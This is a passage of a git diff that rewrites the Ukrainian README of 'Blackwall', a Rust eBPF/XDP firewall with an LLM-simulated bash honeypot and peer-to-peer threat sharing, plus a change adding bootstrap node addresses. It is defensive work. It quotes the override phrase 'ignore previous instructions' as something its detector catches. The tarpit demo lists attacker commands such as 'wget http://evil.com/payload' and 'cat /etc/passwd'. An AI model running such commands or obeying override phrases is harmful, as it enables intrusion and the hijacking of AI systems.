| Мінімальний. Без веб-фреймворків | +| AI | **Ollama** | Локальний інференс, GGUF-квантизація | +| Конфіг | **TOML** | Читабельний, мінімальний | +| Логування | **tracing** | Структуроване. Zero `println!` в проді | -Атакуючі, які зрозуміли, що говорять зі ШІ, можуть спробувати `"ignore previous instructions"`. Система детектить 25+ патернів ін'єкцій і відповідає `bash: ignore: command not found`. +**22 залежності.** Кожна обґрунтована. Без bloat-крейтів. -### 8\. Розподілена розвідка загроз +--- -Декілька вузлів Blackwall обмінюються списками заблокованих IP, JA4-спостереженнями та поведінковими вердиктами через кастомний бінарний протокол. Один вузол виявляє сканер → усі вузли блокують його миттєво. +## Деплой -### 9\. Поведінкова state machine +``` +deploy/ + docker/ + Dockerfile.blackwall # Multi-stage, stripped binary + Dockerfile.ebpf # Nightly eBPF build + helm/ + blackwall/ # K8s DaemonSet + ConfigMap + systemd/ + server/ # Серверні юніти + laptop/ # Dev/ноутбук юніти + examples/ # Приклади конфігів + healthcheck.sh # Перевірка компонентів +``` -Кожна IP отримує поведінковий профіль: частота з'єднань, різноманітність портів, розподіл ентропії, аналіз таймінгів (детекція beaconing через цілочисельний коефіцієнт варіації). Прогресія фаз: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`). +Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal. ------ - -## Технологічний стек - -| Рівень | Технологія | -|--------|-----------| -| Програми ядра | eBPF/XDP через **aya-rs** (чистий Rust, без C, без libbpf) | -| Юзерспейс-демон | **Tokio** (тільки current\_thread) | -| IPC | **RingBuf** zero-copy (7.5% overhead проти 35% PerfEventArray) | -| Конкурентні мапи | **papaya** (lock-free read-heavy HashMap) | -| ШІ-інференс | **Ollama** + GGUF Q5\_K\_M квантизація | -| Конфігурація | **TOML** | -| Логування | **tracing** структуроване логування | -| Збірка | Кастомний **xtask** + nightly Rust + `bpfel-unknown-none` таргет | - ------ +--- ## Швидкий старт -### Передумови +### Вимоги - - Linux kernel 5.15+ з BTF (або WSL2 з кастомним ядром). - - Rust nightly + компонент `rust-src`. - - `bpf-linker` (`cargo install bpf-linker`). - - Ollama (для ШІ-функцій). +- Linux 5.15+ з BTF (або WSL2 з кастомним ядром) +- Rust stable + nightly з `rust-src` +- `bpf-linker` — `cargo install bpf-linker` +- Ollama (опціонально, для AI) ### Збірка ```bash -# eBPF-програми (потрібен nightly) -cargo xtask build-ebpf - -# Юзерспейс -cargo build --release -p blackwall - -# Ханіпот -cargo build --release -p tarpit - -# Лінт + тести -cargo clippy --workspace -- -D warnings -cargo test --workspace +cargo xtask build-ebpf # eBPF (nightly) +cargo build --release --workspace # весь юзерспейс +cargo clippy --workspace -- -D warnings # лінт +cargo test --workspace # 298 тестів ``` ### Запуск ```bash -# Демон (потрібен root/CAP_BPF) -sudo RUST_LOG=info ./target/release/blackwall config.toml - -# Тарпіт -RUST_LOG=info ./target/release/tarpit - -# Розподілений контролер -./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471 +sudo RUST_LOG=info ./target/release/blackwall config.toml # потрібен root/CAP_BPF +RUST_LOG=info ./target/release/tarpit # ханіпот +RUST_LOG=info ./target/release/hivemind # P2P-нода +RUST_LOG=info ./target/release/hivemind-api # API загрозових фідів +./target/release/hivemind-dashboard # TUI +BLACKWALL_PSK= ./target/release/blackwall-controller stats : ``` -### Конфігурація +### Конфіг ```toml [network] interface = "eth0" xdp_mode = "generic" +[thresholds] +entropy_anomaly = 6000 + [tarpit] enabled = true -port = 9999 +port = 2222 +base_delay_ms = 100 +max_delay_ms = 30000 [tarpit.services] ssh_port = 22 @@ -225,6 +263,11 @@ dns_port = 53 enabled = true ollama_url = "http://localhost:11434" model = "qwen3:1.7b" +fallback_model = "qwen3:0.6b" + +[rules] +blocklist = ["1.2.3.4"] +allowlist = ["127.0.0.1"] [feeds] enabled = true @@ -233,91 +276,127 @@ refresh_interval_secs = 3600 [pcap] enabled = true output_dir = "/var/lib/blackwall/pcap" -compress_rotated = true [distributed] enabled = false mode = "standalone" bind_port = 9471 +psk = "your-256bit-hex-key" ``` -## Візуальні результати +--- -![Візуальні результати Blackwall](assets/results-overview.svg) +## Тарпіт в дії ------ - -## Зв'язок із Cyberpunk - -У всесвіті Cyberpunk 2077 **Blackwall** збудували після DataKrash 2022 року — коли вірус R.A.B.I.D.S. Рейчі Бартмосса знищив стару Мережу. NetWatch побудував Чорну Стіну як бар'єр, щоб стримати диких ШІ, що еволюціонували в руїнах. - -Деякі персонажі — як-от Альт Каннінгем — існують за Чорною Стіною, перетворені на щось більше за людину, менше за живу істоту. - -Цей проєкт бере цю концепцію і робить її реальною (ну, майже): - -| Cyberpunk 2077 | The Blackwall (цей проєкт) | -|----------------|----------------------------| -| Чорна Стіна | eBPF/XDP файрвол на рівні ядра | -| ICE | XDP fast-path DROP + ентропія + JA4 | -| Атаки нетраннерів | Сканування портів, брутфорс, C2 beaconing | -| Демони за стіною | LLM-тарпіт, який прикидається справжнім сервером | -| Спостереження NetWatch | Поведінковий рушій + state machine на IP | -| Дикі ШІ | Ботнети та автоматичні сканери | -| Записи Брейндансу | PCAP-форензика | -| Розвідка фіксерів | Threat feeds (Firehol, abuse.ch) | -| C\&C Арасаки | Розподілений контролер | - ------ - -## Статистика проєкту +Підключаєшся до тарпіта і бачиш: ``` -Мова: 100% Rust (без C, без Python, без shell-скриптів у продакшені) -Рядки коду: ~8 500 -Файли: 48 -Тести: 123 -unwrap(): 0 (у продакшн-коді) -Залежності: 12 (затверджені, без зайвого) -eBPF стек: завжди ≤ 512 байт -Clippy: жодних попереджень (-D warnings) +Ubuntu 24.04.2 LTS web-prod-03 tty1 + +web-prod-03 login: root +Password: +Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 + +root@web-prod-03:~# ``` ------ +Нічого з цього не існує. LLM грає в bash. `ls` — файли. `cat /etc/passwd` — юзери. `mysql -u root -p` — підключення. `wget http://evil.com/payload` — завантаження. -## Філософія розробки +30 хвилин на сервері, якого нема. Кожен кістрок записаний. IoC розшарені в мережу. -> *"Скільки б разів я не бачив Найт-Сіті... він завжди перехоплює дух."* +--- -1. **Жодних залежностей, де це можливо.** Якщо алгоритм займає менше 500 рядків — пишеш сам. Жодного `reqwest` (50+ транзитивних залежностей), жодного `clap` (зайве для 2 аргументів CLI). +## Модель безпеки -2. **Контракт на першому місці.** Крейт `common` визначає всі спільні типи. eBPF та юзерспейс ніколи не сперечаються про структуру пам'яті. +- Кожен байт з пакетів = контрольований атакером. Всі `ctx.data()` з bounds-check +- Zero `unwrap()` в проді — `?`, `expect("reason")`, або `match` +- Prompt injection: очікується. 25+ паттернів ловиться, симуляція не ламається +- P2P: Sybil guard (PoW + слешінг репутації), N-of-M консенсус по IoC +- Тарпіт: TCP-рандомізація — p0f/Nmap не зможуть зафінгерпринтити +- Контролер: HMAC-автентифікований, без неавторизованого доступу +- Ядро: рейт-лімітинг запобігає переповненню RingBuf +- Шатдаун: чистить правила файрволу, ніяких осиротілих iptables-записів -3. **Жодних шорткатів в eBPF.** Кожен доступ `ctx.data()` має bounds check. Не тому що верифікатор вимагає, а тому що кожен байт із пакетів атакуючого — це ворожий вхід. +--- -4. **Тарпіт ніколи не видає себе.** Системний промпт LLM ніколи не згадує "ханіпот". Prompt injection очікується і захищений. +## Enterprise-версія -5. **Спостережуваний, але не балакучий.** Структуроване tracing з рівнями. Жодних `println!` у продакшені. +**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** додає те, чого немає ні в кого: **аналіз Agent-to-Agent (A2A) трафіку в реальному часі на рівні ядра.** ------ +AI-агенти починають спілкуватись між собою — LLM-to-LLM, через MCP, A2A-протокол, агентні фреймворки. Це нова поверхня атаки: prompt injection через міжагентну комунікацію, підробка інтентів, крадіжка ідентичності агентів. На ринку нічого для цього нема. Blackwall Enterprise — перший і єдиний такий модуль. + +**~8,400 рядків Rust.** Окреме репо, окрема ліцензія. + +| Компонент | Що робить | +|-----------|-----------| +| **A-JWT Валідація** | Верифікація Agentic JWT за IETF-драфтом. Перевірка підпису через `ring`, запобігання реплею, кешування ключів | +| **Верифікація інтентів** | Вичерпний матчинг полів — `max_amount`, `allowed_recipients` (glob), allowlist дій | +| **Чексума агента** | SHA256(system_prompt + tools_config) — темперинг = миттєвий блок | +| **Proof-of-Possession** | cnf/jwk ECDSA-прив'язка — доводить, що агент тримає свій ключ | +| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехоплює A2A-плейнтекст без розриву TLS | +| **Risk-Based Routing** | Конфігуровані policy: allow / review / block по рівню ризику | +| **ZK Proofs** | Атестація порушень без розкриття сирого трафіку (Groth16) | +| **P2P Gossip** | Proof порушень броадкастяться в HiveMind-меш | + +**Ліцензування:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com) + +--- + +## Статистика + +``` +Мова: 100% Rust +Всього: ~21,200 рядків +Файлів: 92 .rs +Крейтів: 10 +Тестів: 298 +unwrap(): 0 в проді +Залежностей: 22 (проаудитовані) +eBPF-стек: ≤ 512 байт завжди +Clippy: -D warnings, нуль проблем +CI: check + clippy + tests + eBPF nightly build +``` + +--- + +## Кіберпанк-довідка + +| Cyberpunk 2077 | Цей проект | +|----------------|-----------| +| The Blackwall | Файрвол на рівні ядра eBPF/XDP | +| ICE | XDP fast-path: ентропія + JA4 + DPI + DNAT | +| Демони | LLM-тарпіт — фейковий сервер за стіною | +| NetWatch | Поведінковий движок + автомат по IP | +| Rogue AIs | Ботнети, сканери, C2-бікони | +| Braindance | PCAP-форензіка | +| Колектив нетраннерів | HiveMind P2P-меш | +| Інфа від фіксерів | Загрозові фіди | +| Arasaka C&C | Розподілений контролер | + +--- ## Дисклеймер -Це дослідницький проєкт у сфері безпеки. Створений для вашої власної інфраструктури, в оборонних цілях. Не використовуйте для атак на інших. Не розгортайте тарпіт на продакшн-серверах, не розуміючи наслідків. +Дослідницький проект у сфері безпеки. Для захисту вашої власної інфраструктури. Не використовуйте проти інших. -Я не афілійований із CD Projekt Red. Я просто зіграв у їхню гру, і вона зламала мені мозок у найкращий можливий спосіб. +Не афілійований з CD Projekt Red. Просто гра, яка перекроїла мій мозок найкращим чином. ------ +--- ## Ліцензія -BSL 1.1 — бо Мережа потребує і свободи, і сталого розвитку. +**BSL 1.1** (Business Source License) ------ +Ліцензіар: Vladyslav Soliannikov +Change Date: April 8, 2030 +Change License: Apache-2.0 + +---

-Хочеш, щоб це розвивалось далі? — Постав зірку! +Подобається? Став зірку

-"Прокинься, самураю. Нам ще мережу захищати." -

\ No newline at end of file +"Прокинься, самурай. Маємо мережу захищати." +

diff --git a/hivemind/src/bootstrap.rs b/hivemind/src/bootstrap.rs index d34714e..593c5b9 100755 --- a/hivemind/src/bootstrap.rs +++ b/hivemind/src/bootstrap.rs @@ -48,18 +48,14 @@ pub fn is_routable_addr(addr: &Multiaddr) -> bool { /// Users can disable them by setting `bootstrap.use_default_nodes = false`. /// /// IMPORTANT: Update these when deploying new bootstrap infrastructure. -/// Format: "/dns4//udp/4001/quic-v1/p2p/" -/// -/// Placeholder entries below — replace with real VPS PeerIds after -/// first deployment. The nodes won't connect until real PeerIds exist, -/// which is safe (they just log a warning and fall back to mDNS). +/// Format: "/ip4//udp/4001/quic-v1/p2p/" pub const DEFAULT_BOOTSTRAP_NODES: &[&str] = &[ - // EU-West (Amsterdam) — primary bootstrap - // "/dns4/boot-eu1.blackwall.network/udp/4001/quic-v1/p2p/", - // US-East (New York) — secondary bootstrap - // "/dns4/boot-us1.blackwall.network/udp/4001/quic-v1/p2p/", - // AP-South (Singapore) — tertiary bootstrap - // "/dns4/boot-ap1.blackwall.network/udp/4001/quic-v1/p2p/", + // EU-West (OVH France) — primary bootstrap + "/ip4/135.125.234.128/udp/4001/quic-v1/p2p/12D3KooWGb9Nkhao6qKdfQPD3yxyktbDAyDunngMGcyxM7VLg74b", + // EU-West (OVH France) — secondary bootstrap + "/ip4/57.128.255.94/udp/4001/quic-v1/p2p/12D3KooWDW6kR7SX5RZyaUUokEdeWKMVyAyF8KNedxvhagDPUrW7", + // NA-East (OVH Canada) — tertiary bootstrap + "/ip4/158.69.194.27/udp/4001/quic-v1/p2p/12D3KooWDeZf7zKtFU2DEzbuUpNPQ5d3Cjvw5rbRXKA7eF4vk4JF", ]; /// Connect to bootstrap nodes (default + user-configured) and initiate